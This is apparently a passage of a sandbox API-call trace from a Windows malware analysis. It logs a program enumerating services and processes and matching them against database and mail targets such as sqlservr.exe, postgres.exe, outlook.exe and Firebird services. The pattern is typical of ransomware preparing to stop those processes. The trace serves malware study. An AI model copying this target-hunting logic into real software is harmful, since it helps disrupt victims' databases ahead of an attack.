lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.789] lstrlenW (lpString="ProfSvc") returned 7 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.789] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.789] lstrlenW (lpString="RpcSs") returned 5 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.789] lstrlenW (lpString="SamSs") returned 5 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.790] lstrlenW (lpString="Schedule") returned 8 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.790] lstrlenW (lpString="SENS") returned 4 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.790] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.790] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.790] lstrlenW (lpString="Spooler") returned 7 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.790] lstrlenW (lpString="SysMain") returned 7 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.790] lstrlenW (lpString="Themes") returned 6 [0265.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.791] lstrlenW (lpString="TrkWks") returned 6 [0265.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0265.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0265.791] lstrlenW (lpString="UxSms") returned 5 [0265.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.791] lstrlenW (lpString="WdiServiceHost") returned 14 [0265.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0265.791] lstrlenW (lpString="WdiSystemHost") returned 13 [0265.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0265.791] lstrlenW (lpString="Winmgmt") returned 7 [0265.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0265.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0265.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0265.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0265.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0265.791] lstrlenW (lpString="WPDBusEnum") returned 10 [0265.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.792] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0265.792] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0265.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0265.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45a9150 | out: hHeap=0x540000) returned 1 [0265.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0265.793] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.793] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.793] lstrlenW (lpString="System") returned 6 [0265.793] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.793] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.793] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.793] lstrlenW (lpString="smss.exe") returned 8 [0265.793] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.794] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.794] lstrlenW (lpString="csrss.exe") returned 9 [0265.794] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.794] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.794] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.794] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.794] lstrlenW (lpString="wininit.exe") returned 11 [0265.794] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.794] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.794] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.795] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.795] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.795] lstrlenW (lpString="csrss.exe") returned 9 [0265.795] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.795] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.795] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.795] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.795] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.795] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.795] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.795] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.795] lstrlenW (lpString="winlogon.exe") returned 12 [0265.795] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0265.795] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0265.795] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0265.795] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0265.795] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.796] lstrlenW (lpString="services.exe") returned 12 [0265.796] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.796] lstrlenW (lpString="lsass.exe") returned 9 [0265.796] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.796] lstrlenW (lpString="lsm.exe") returned 7 [0265.796] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.796] lstrlenW (lpString="svchost.exe") returned 11 [0265.796] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.797] lstrlenW (lpString="svchost.exe") returned 11 [0265.797] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.797] lstrlenW (lpString="svchost.exe") returned 11 [0265.797] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.797] lstrlenW (lpString="svchost.exe") returned 11 [0265.797] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.797] lstrlenW (lpString="svchost.exe") returned 11 [0265.797] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.798] lstrlenW (lpString="audiodg.exe") returned 11 [0265.798] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.798] lstrlenW (lpString="svchost.exe") returned 11 [0265.798] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.798] lstrlenW (lpString="svchost.exe") returned 11 [0265.798] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0265.798] lstrlenW (lpString="userinit.exe") returned 12 [0265.798] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.799] lstrlenW (lpString="dwm.exe") returned 7 [0265.799] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.799] lstrlenW (lpString="explorer.exe") returned 12 [0265.799] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.799] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.799] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.799] lstrlenW (lpString="taskhost.exe") returned 12 [0265.799] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.800] lstrlenW (lpString="svchost.exe") returned 11 [0265.800] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0265.800] lstrlenW (lpString="chrome64b.exe") returned 13 [0265.800] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.800] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.800] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.800] lstrlenW (lpString="taskhost.exe") returned 12 [0265.800] Process32NextW (in: hSnapshot=0x3d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0265.800] CloseHandle (hObject=0x3d4) returned 1 [0265.801] Sleep (dwMilliseconds=0x1f4) [0266.399] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623608 [0266.400] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0266.400] GetLastError () returned 0xea [0266.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113e) returned 0x45a9150 [0266.400] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45a9150, cbBufSize=0x113e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45a9150, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0266.401] CloseServiceHandle (hSCObject=0x4623608) returned 1 [0266.401] lstrlenW (lpString="Appinfo") returned 7 [0266.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.401] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.401] lstrlenW (lpString="AudioSrv") returned 8 [0266.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0266.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0266.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0266.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0266.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0266.401] lstrlenW (lpString="BFE") returned 3 [0266.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.401] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.401] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.402] lstrlenW (lpString="CryptSvc") returned 8 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.402] lstrlenW (lpString="CscService") returned 10 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0266.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0266.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0266.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0266.402] lstrlenW (lpString="DcomLaunch") returned 10 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.402] lstrlenW (lpString="Dhcp") returned 4 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.402] lstrlenW (lpString="Dnscache") returned 8 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.402] lstrcmpiW (lpString1="mssqlserver", 